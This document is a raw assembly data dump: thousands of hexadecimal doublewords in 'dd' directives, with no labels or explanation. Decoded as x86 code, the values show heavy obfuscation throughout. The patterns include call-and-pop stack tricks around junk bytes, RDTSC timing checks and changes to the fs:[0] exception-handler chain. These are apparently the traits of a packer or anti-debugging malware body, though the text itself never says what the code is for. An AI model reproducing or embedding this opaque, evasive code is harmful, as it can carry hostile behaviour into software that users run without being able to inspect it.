dd 4244481h, 1Bh, 89C35545h, 66644E70h, 660F7EBFh, 0F207EBFh
dd 687h, 0B5B52900h, 8B061F09h, 22B249B5h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 9589FFD4h, 61F07A9h, 44BF6651h, 95895FB2h, 61F32B9h
dd 2FF1858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0BC62C0C3h, 334CB660h, 1F11F595h
dd 86896106h, 0C4h, 8BDE8B66h, 1F0B5D95h, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 4C2833Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 1CC35545h, 0C7859AEEh, 8AD66222h, 0FFC381B3h, 89022197h
dd 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 9B7B9EC3h, 0C780C4D3h, 97858D97h
dd 660622C7h, 8689FB8Bh, 0B8h, 311D9D8Bh, 0BD8B061Fh, 61F00E1h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 353A2BC3h, 83B08358h, 9D8B0388h, 61F0829h
dd 0B255B5FFh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 5FB784C3h, 11C59D8Bh, 95FF061Fh
dd 61F2F55h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 0DAC35040h, 0F595621Bh, 2379F363h, 1F14919Dh, 0BB525006h
dd 656C4E4Eh, 2434895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 43C35242h, 0D15BD8Bh, 0B5FF061Fh, 622B255h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h
dd 208B0360h, 0E387BBD3h, 0CE9h, 0D4693A00h, 0B0DFC42Fh
dd 0FC7236EFh, 1D95FF3Fh, 2B061F0Eh, 1F0B919Dh, 0DBD8306h
dd 61F2Ch, 82840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 4A16B8C3h, 841483DCh
dd 0E980C20Bh, 12h, 9B87E3F3h, 4148A94Fh, 8896A85Bh, 71FAD9DCh
dd 0E850EC27h, 8, 0E7EF8767h, 1AD67280h, 47915FBFh, 34895B56h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 8FBC7BF9h, 346C0959h, 14C59D01h, 6651061Fh
dd 5B0B1BBFh, 0B255B5FFh, 0F8520622h, 4995FF5Fh, 81061F13h
dd 0DDC8B3DFh, 55B5FF23h, 0B30622B2h, 7595FFE5h, 0E9061F10h
dd 10h, 0F878F846h, 369F09AAh, 323DFB22h, 6455036Ah, 9BD83h
dd 0F02061Fh, 6F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 4AE5E0B3h, 0DE9h, 42957100h
dd 5510F34Ch, 0F0807573h, 858BF1E1h, 61F1751h, 12E9h, 0D42F6400h
dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 0C65138C8h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0F819C7C3h, 129185C7h, 61Fh, 8B660000h, 0F37CE9D8h
dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 4DB4DCC3h, 9ECF808Ch, 12E9h, 1A051600h, 5E6F3F3Bh
dd 70E8AF3h, 0C013852Eh, 8B6D3FC9h, 53006AC1h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 2960BB05h
dd 1F1931B5h, 8EA8106h, 6143552Fh, 0A9DF8166h, 0BD858D9Dh
dd 6A061F19h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 1A28C353h, 0BF669C00h, 0BF906305h
dd 356F6F2Bh, 9E950h, 9E3E0000h, 650E182Bh, 900F16E7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 45C35242h
dd 0A2361FA0h, 6AC78Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 51C35646h, 72D0DB81h, 0BB66227Fh, 6A7971h
dd 0BD1D858Dh, 0BD230623h, 61F1D29h, 0E905C083h, 10h, 72BA388Bh
dd 0B1546DB8h, 0F064D042h, 0C480EC5h, 0FB8B6650h, 6A240489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 8DB6C355h, 0F356EA1Eh, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A00B72C3h
dd 29A75965h, 1F1BED95h, 66006A06h, 0FF4FD5BBh, 1F016195h
dd 19953106h, 8D061F20h, 22B1F28Dh, 0FFFE8B06h, 53006AD1h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0D6B7A28h, 0FB1039D0h, 3F881CBh, 1F1FDD9Dh, 0F5BD8306h
dd 1061F0Eh, 0DF850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0BA388BC3h, 546DB872h
dd 8BD042B1h, 1F16F99Dh, 4D9D0B06h, 6A061F02h, 57006A02h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 8A229FD5h, 0CBDF347h, 9E959ADh, 4D000000h, 238199BCh
dd 0D9838F86h, 13D9BD8Bh, 6090061Fh, 310F5250h, 7E9h, 0D3B71D00h
dd 5D3EC5E0h, 6060585Ah, 50616161h, 8E8h, 0EFAB400h, 0C5163D37h
dd 5FDA8B54h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 89BAA491h, 1F238DB5h, 13E906h, 0F3AD0000h
dd 0DD566C03h, 5F6A46BDh, 0ABC65F88h, 0BBDD5CF6h, 5595FF39h
dd 29061F2Fh, 1F06FD85h, 0EB0E906h, 0E80000h, 5D000000h
dd 0BD27ED81h, 0B5310623h, 61F1159h, 0A3D8D89h, 6A061Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 8DC9B6C3h, 228EE485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0D07E66C5h, 56FECC0h
dd 12E969h, 0FA320000h, 19BAD91Ch, 5E288535h, 1DC5C9F6h
dd 793F7520h, 6860Fh, 0BD8B0000h, 61F3295h, 0DCE2BB50h
dd 4892996h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 5FF2C2FDh, 0DA336B00h, 0D88B66EFh
dd 0BE9h, 5C03A300h, 0A81E9B98h, 85261303h, 35FF64h, 23000000h
dd 1F0EF9BDh, 25896406h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DBC35747h
dd 0CBF04AD2h, 102985FFh, 9D8B061Fh, 61F108Dh, 6AFF6Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0D8CB24C3h, 0F98B66F8h, 0B5FFB1B3h, 61F1545h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 15C35545h, 28B3EB1Ah
dd 53CEF88Ch, 1CED95FFh, 2FE9061Fh, 0E8000001h, 14h, 3DD11A7Bh
dd 0B78D9900h, 850DDEC3h, 0CC6A15B0h, 396BD6A5h, 7E9h
dd 77F0C600h, 3A957964h, 0F00B05Fh, 38Dh, 0F8B70F00h, 0BF0F70E6h
dd 8B71E4FFh, 0F613CDAh, 0ED83h, 0B9666000h, 0F28145D8h
dd 1D95ACF2h, 0C8B60F61h, 0FE9h, 21CCA600h, 1F69C782h
dd 8F8BE019h, 0EF42B6BEh, 6BAh, 69BD8B00h, 8B061F15h, 119D89C1h
dd 0C1061F2Dh, 820F04E8h, 16h, 11E9h, 9582EF00h, 62774E95h
dd 95B10D9h, 0E3A3A8Eh, 0F766A277h, 0FEBF0FE2h, 0C82B98B3h
dd 66D18BF9h, 0E979BDBBh, 82h, 8BFEB70Fh, 885h, 83FA8B00h
dd 0F98B07C0h, 8900C083h, 1F080D8Dh, 0FD03B06h, 2383h
dd 0A19D2900h, 0E9061F19h, 56h, 12890Fh, 0DE90000h, 79000000h
dd 5B4EF101h, 611F01DFh, 0F8DE134h, 0FFFF8D8Bh, 6E8FFFFh
dd 0CC000000h, 8F289C1Ah, 0FBB70F75h, 1E1835Fh, 20840Fh
dd 0B5890000h, 61F1D41h, 0FFFFA583h, 8BFEFFFFh, 89589FBh
dd 2B000000h, 1F00859Dh, 0E906h, 0B58D0000h, 6233E80h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 47C35646h
dd 1CCB8092h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 9DE722C3h, 0E7816660h, 0FE9FF6Fh
dd 3F000000h, 0F4EC9734h, 0F071AD74h, 1C9B6688h, 0FF6141A8h
dd 1F1D4595h, 0BE906h, 0A9410000h, 0F2F09B3Ah, 0B5EF4595h
dd 0F2AB9CDh, 85890000h, 61F1BD5h, 6AFCE183h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0FC1CC355h, 129D9D8Bh, 0C02B061Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0B5C35545h, 70EC3325h, 89F0AE0Bh
dd 1F0FF59Dh, 0CE906h, 0B3540000h, 49AFF823h, 0F963DB43h
dd 0BABC7Bh, 0BF000000h, 832F62Ah, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 12E8h, 946FD500h, 0E6616122h, 2B12D040h
dd 462BEC3Ch, 89A9E1B8h, 1F2D1985h, 81605F06h, 92790FD3h
dd 81BD8B47h, 61061F18h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 1DC35040h, 53185641h, 880D1182h, 89000000h
dd 1F1051B5h, 5D958B06h, 81061F0Bh, 9DA407D7h, 0C58D8B58h
dd 6A061F20h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0E8D1C357h, 0E836E594h, 18BE99C3h
dd 8B508BB7h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 1EE18D31h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0FB966C3h, 0BD8B5D4Fh, 61F0D91h
dd 78DBD83h, 0F00061Fh, 3484h, 0D59D8B00h, 0B8061F20h
dd 0
dd 4DB08D8Dh, 0BAB7061Fh, 14DD9D8Bh, 0E1FF061Fh, 0DE8h
dd 0D328A000h, 4F2E7163h, 98C6702h, 9D03EDD9h, 61F2C21h
dd 7DBD835Bh, 61F13h, 492840Fh, 11E90000h, 34000000h, 5BF8EF52h
dd 0A8B04251h, 4581E395h, 3572B953h, 137DBD83h, 0F01061Fh
dd 48A84h, 14E900h, 0E6AF0000h, 0CC923AB6h, 3F3071EDh
dd 0A6A830Ah, 0BFC366C0h, 858905F5h, 61F1391h, 137DBD83h
dd 0F03061Fh, 42886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 2FB436D9h, 60D99924h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5BC35141h
dd 0C7DEFDA2h, 80B36335h, 66DE8B4Eh, 8E0FD98Ch, 3, 80FABF0Fh
dd 0C90A04E1h, 156840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0BB1478C3h, 2D81FB16h
dd 8D29814Ah, 61F16F1h, 0DC1858Bh, 6A061Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 28593CC3h
dd 0C98533FCh, 33061F2Eh, 1F033DBDh, 90DA8B06h, 3B5DBB66h
dd 0FB8B6650h, 0D8B70F90h, 8B006AF9h, 4E8DAh, 3FF0000h
dd 0F50001Fh, 1286h, 0E9525000h, 5, 0AEE44C6Dh, 0B7310F7Bh
dd 8B585AF3h, 66042444h, 8BDE8Bh, 13E85250h, 79000000h
dd 0A570669Fh, 632D90B2h, 219E946Bh, 0D7A1999Ch, 61600178h
dd 52310F5Bh, 5E8h, 5D8D8F00h, 5B5B0C51h, 4489585Ah, 8B530424h
dd 6A585BF8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 9911C355h, 74129B8Ch, 0BE9B8F3h
dd 0F7000000h, 8EE6F70Bh, 6AAB3A59h, 95FFB402h, 61F2DE1h
dd 0F7816652h, 895B4CC1h, 22B25585h, 0DE806h, 5B410000h
dd 0DC8896A8h, 2771FAD9h, 669C64ECh, 0C8FEC781h, 20BE95Bh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0DB2F31C3h, 0F3F39DBFh, 0B24D858Bh, 85890622h
dd 61F0D31h, 1800C7h, 0FE80000h, 69000000h, 19113B64h
dd 795630D2h, 18989307h, 0C6BB80B5h, 5F612D98h, 0B251B58Bh
dd 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 4E8B91C3h, 1F1FBFCDh, 499D0BBFh, 8B061F2Ah
dd 1F13A185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 108220D4h, 0F1B5096Ah, 89061F0Eh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 8B68E787h, 0B440D97h, 858BCB02h, 61F0DC1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CC35747h
dd 953AB89h, 1F163DB5h, 0F99D8B06h, 89061F0Ch, 95290446h
dd 61F02E1h, 50F98B96h, 8B665250h, 0F310FF9h, 480h, 0ABB6600h
dd 96585AC8h, 16899D23h, 0B5FF061Fh, 622B24Dh, 2DD9BD8Bh
dd 1F68061Fh, 50F2AE13h, 5A310F52h, 24048158h, 0D70F0E0h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h
dd 0D5A3B0E3h, 0D98E6655h, 8DFE8B66h, 22B25585h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0D761843h, 7314F0ADh, 0CE88Ah, 0A1050000h, 5535E90Bh
dd 241D61C6h, 905FDC97h, 7777BF66h, 10E850h, 60230000h
dd 65E11C62h, 0BD81EBC0h, 602C7D02h, 10E814D5h, 0F2000000h
dd 37036C3Eh, 0E67CAC98h, 9CA1BC35h, 0BB94F719h, 1F0A0434h
dd 8B905B5Fh, 0E195FFDAh, 6A061F2Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B17C357h
dd 1F23A5BDh, 95896106h, 61F087Dh, 57DB8166h, 7D85C741h
dd 3061F13h, 80000000h, 0BD83CEDBh, 622B255h, 62840F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0D7E1C352h, 7CD518B8h, 919D8B79h
dd 0E9061F0Dh, 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0B8C35545h, 5B739390h, 0E9B66242h, 7
dd 0E3ADBED4h, 330FAC19h, 1F09D9BDh, 0C305006h, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 86C35747h, 16870FCFh, 51000000h
dd 0FE9h, 0BAA49100h, 899F4206h, 0E15118B4h, 6665D00h
dd 6AF95Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0D4532AC3h, 29B6C2D9h, 1F0EDD85h, 7DBD8306h
dd 3061F13h, 480850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 287053C3h, 11A99D8Bh
dd 0BD83061Fh, 622B255h, 4F840F00h, 8B000004h, 1F2B299Dh
dd 55B5FF06h, 6A0622B2h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 36B5C357h, 399D2B38h
dd 8B061F24h, 1F08C19Dh, 0C995FF06h, 81061F1Bh, 727752C3h
dd 49B58B58h, 6A0622B2h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0A248C357h, 627FBDCh
dd 12E855h, 6D880000h, 3656A724h, 0D6530C9Bh, 0C68DEE39h
dd 5BE1FAE9h, 5FFE8B66h, 106C7h, 6A0001h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 897F9DC3h
dd 1F23D19Dh, 0E99D8B06h, 50061F0Ch, 13E9h, 4F38000h, 28FB8F8Eh
dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 66243489h, 0B5FFF88Bh
dd 622B255h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 10C35141h, 68DAE5Eh, 0FDA25B13h, 162195FFh, 0D381061Fh
dd 7052C0CDh, 0B249B58Bh, 12E90622h, 6B000000h, 10F765DEh
dd 0E41A509h, 3E97668Ch, 20BF883Fh, 0F1858B47h, 8B061F2Fh
dd 1F15A19Dh, 0C4868906h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F75C355h
dd 583h, 2A22BB00h, 958B0480h, 61F0B5Dh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 71C35242h, 13751C36h
dd 0E8F79AF0h, 5, 77106531h, 6D8D0104h, 5F061F2Bh, 6A04C283h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0D3B7C353h, 5D3EC5E0h, 16E19509h, 9D8B061Fh
dd 61F028Dh, 1205089h, 1F02718Dh, 97858D06h, 8B0622C7h
dd 0B88689DEh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0E8BDC357h, 20C72390h
dd 7FAE60FFh, 10E9006Ah, 0E000000h, 41B95016h, 2CBE45DAh
dd 729D8C1Bh, 0FFDD7211h, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8B6681B7h
dd 5595FFD8h, 6A061F2Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h
dd 5162C357h, 7E951h, 0A9840000h, 0AFABC5A7h, 60505B62h
dd 10810Fh, 0BE90000h, 0D1000000h, 4C20BEF1h, 0BED4F249h
dd 6E9E3ADh, 0F2000000h, 541D511Ch, 34896161h, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 9A5C2534h, 1C398589h, 90BF061Fh, 0FF1B3200h, 22B255B5h
dd 0FD9D8B06h, 0FF061F18h, 1F0E1D95h, 0F65ABF06h, 85895218h
dd 61F12D5h, 2C0DBD83h, 0F00061Fh, 4684h, 3DBD0100h, 96061F2Dh
dd 22CABF66h, 0F98B6650h, 57006A96h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 394770F8h
dd 8E84Dh, 31250000h, 0EBEB1290h, 0FA8BD242h, 19D8B5Fh
dd 0FF061F2Fh, 22B255B5h, 0FE906h, 0BBD70000h, 33B8D88Bh
dd 0EEF49E71h, 99239E2h, 0AEB8197h, 0FF161A13h, 1F134995h
dd 3DC78006h, 0CCDBD8Bh, 0B5FF061Fh, 622B255h, 901BD8Bh
dd 95FF061Fh, 61F1075h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 9CC35040h, 8C7FF3C9h, 66828E01h, 0BD83FA8Bh
dd 61F0009h, 4E840F02h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5DFCC351h
dd 8B8DD14Ah, 8BFA8BD9h, 1F175185h, 0F7816606h, 0C6F09Ch
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 9185C734h, 61F12h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 316CC356h, 1818739h, 0CE829h, 0DF910000h, 0D4693A27h
dd 0B0DFC42Fh, 8B6636EFh, 8B665FD8h, 10E9F8h, 22C80000h
dd 0EA2E528Dh, 5B9946h, 0F0C91B17h, 0A1E92430h, 6AFFFFF2h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 0FC37C351h, 27687332h, 0EE5FE02Dh, 6AC18Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0F27677C3h, 0BA5B0BEBh, 0CCDF8166h, 858DFCCDh, 61F19BDh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FCC35545h
dd 0FD98B06h, 88Bh, 8D895000h, 61F1FD1h, 8BBF905Bh, 5011E415h
dd 0B7525060h, 0BB310F09h, 6C406D0Dh, 0B966585Ah, 9061575Eh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AAC35242h
dd 0F19D8B86h, 6A061F0Ch, 0D7816600h, 0BD8B8939h, 61F24BDh
dd 8B66006Ah, 0D3858DDAh, 6A0623CDh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4056C350h
dd 922D9960h, 262DE595h, 6A05C083h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9AA7C352h
dd 5050FC14h, 895BDE8Bh, 6A2404h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0DE27C3C3h, 8166006Ah
dd 6A09D9DBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 0B72BCB75h, 0A1BD33A1h, 0FF061F2Bh
dd 1F016195h, 6BF6606h, 0F28D8D36h, 6A0622B1h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0A73AC355h, 9F91279Ch, 0F14C48CEh, 0BD8BD1FFh, 61F2B7Dh
dd 2B758D29h, 0BD83061Fh, 61F0EF5h, 8C850F01h, 0E8000000h
dd 14h, 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 9F91279Ch
dd 6A026A5Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0C92CC352h, 8BEC95E3h, 1F1605BDh
dd 66579006h, 5B7D39BFh, 0DA8B6650h, 0D19D8B90h, 66061F18h
dd 95FFF88Bh, 61F2F55h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 75C35040h, 1F64CDE5h, 9810Fh, 830F0000h
dd 3, 0E9F98B66h, 0D8Ch, 0E8h, 0ED815D00h, 623CDDDh, 6A9AEF80h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 4580C351h, 816A482Ch, 5DADDACBh, 0E4858D55h
dd 6A06228Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 4767C356h, 9E9h, 0E0F31C00h, 0A8EA7025h
dd 505039AFh, 8E852h, 87720000h, 0D792A7B0h, 2BB0633h
dd 5B1CB72Eh, 0FE8310Fh, 0D2000000h, 0F749CBC3h, 0D4AE67C4h
dd 0ECE8D98Ah, 5A5F9DD7h, 24048958h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0E6C35242h, 0B44DCC72h, 3DF3C73Ch
dd 35FF647Ah, 0
dd 258964F8h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 36C35040h
dd 685B0103h, 0FFDEB70Fh, 1F102985h, 0E1952906h, 6A061F18h
dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 0F16BEEAFh, 0B5FFBF30h, 61F0749h, 0B810Fh
dd 29600000h, 1F202D95h, 0D7BF0F06h, 0ED95FF61h, 0E9061F1Ch
dd 0CEh, 0B0DF8Bh, 70E6DA8Bh, 30658589h, 71E4061Fh, 830F613Ch
dd 0B6h, 0C8B60FF5h, 32E58D01h, 6BA061Fh, 0F000000h, 683h
dd 8DB58900h, 8B061F15h, 0E8C1FCC1h, 0BABF6604h, 0E2F76646h
dd 2D119D8Bh, 0C82B061Fh, 0BFD18BF5h, 768900FAh, 77E9FE8Bh
dd 8B000000h, 185h, 29B50900h, 83061F20h, 8D8907C0h, 61F13D9h
dd 9C99D8Bh, 0C083061Fh, 37BF6600h, 0FD03B95h, 1283h, 5800F00h
dd 0BF000000h, 20F3C2DEh, 3DE9h, 8B3BB700h, 0FFFFFF8Dh
dd 0C7F9BBFFh, 0E1834D4Ch, 27840F01h, 81000000h, 2E4BF6CFh
dd 8DB5895Fh, 83061F12h, 0FFFFFFA5h, 8B66FEFFh, 19589FBh
dd 8B000000h, 1F2089BDh, 0E906h, 0B58D0000h, 6234DAAh
dd 0C6F78166h, 0A995893Dh, 6A061F10h, 0B5958900h, 0FF061F0Bh
dd 1F1D4595h, 0FE8B6606h, 100FB9h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0EA722CE7h
dd 8B4FAD12h, 840FD77Ch, 6, 16919D89h, 9589061Fh, 61F1109h
dd 6AFCE183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 2662C351h, 159D8B36h, 0FC061F15h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 31C35242h
dd 0F90C292Ah, 6AC02BDEh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 432AC350h, 14E976F2h
dd 0CC000000h, 0E252F918h, 5937CAF5h, 8C334521h, 0E28FFF95h
dd 0BA74FD90h, 0
dd 946ABB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 820F60FCh
dd 4, 2B2CBE66h, 1DE9B58Bh, 6A61061Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7209C357h
dd 0D780C4E5h, 880DB5h, 0B5890000h, 61F1129h, 19C18D31h
dd 958B061Fh, 61F0B5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 0D5C35141h, 0FD25F7E0h, 19A9E781h, 8A0F6CBDh
dd 6, 2491BD89h, 8D8B061Fh, 61F20C5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 7FC35040h, 0FAD41E6Fh, 0AD852951h
dd 5F061F1Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 8D895818h, 61F15C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 18C35242h, 907F678Bh, 6B750430h, 0F8E0Fh
dd 0AE90000h, 28000000h, 281AC02Eh, 6743B5EDh, 8DBD8367h
dd 61F07h, 0C2840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0EA599EC3h, 15B3C6B7h
dd 8D0FFE8Bh, 16h, 0AE8h, 0BAC27500h, 2D78F3B4h, 0FCB69BBh
dd 81h, 0B85B00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0DFCC352h, 0B08D8D4Bh
dd 6A061F4Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0F9A8C355h, 2AD04842h, 8969B3C2h
dd 1F1C51B5h, 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 37DBC356h, 0CB9BD300h
dd 94FA7AE1h, 0E9BD8951h, 5F061F00h, 137DBD83h, 0F00061Fh
dd 46E84h, 0EF816000h, 7492C00Fh, 11E8h, 0AB153300h, 0FDA791DFh
dd 0CF8BA071h, 798B857h, 6ABB7F48h, 5E0620A6h, 7DBD8361h
dd 1061F13h, 458840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0BF0F97C3h, 7DBD83D8h
dd 3061F13h, 3F6860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0A4E8C1C3h, 1019BD03h
dd 0B589061Fh, 61F1509h, 50006A60h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0A6B8759Bh, 8C668092h
dd 0BD8D29D9h, 80061F0Dh, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 33E3B6C3h, 1F19CD9Dh
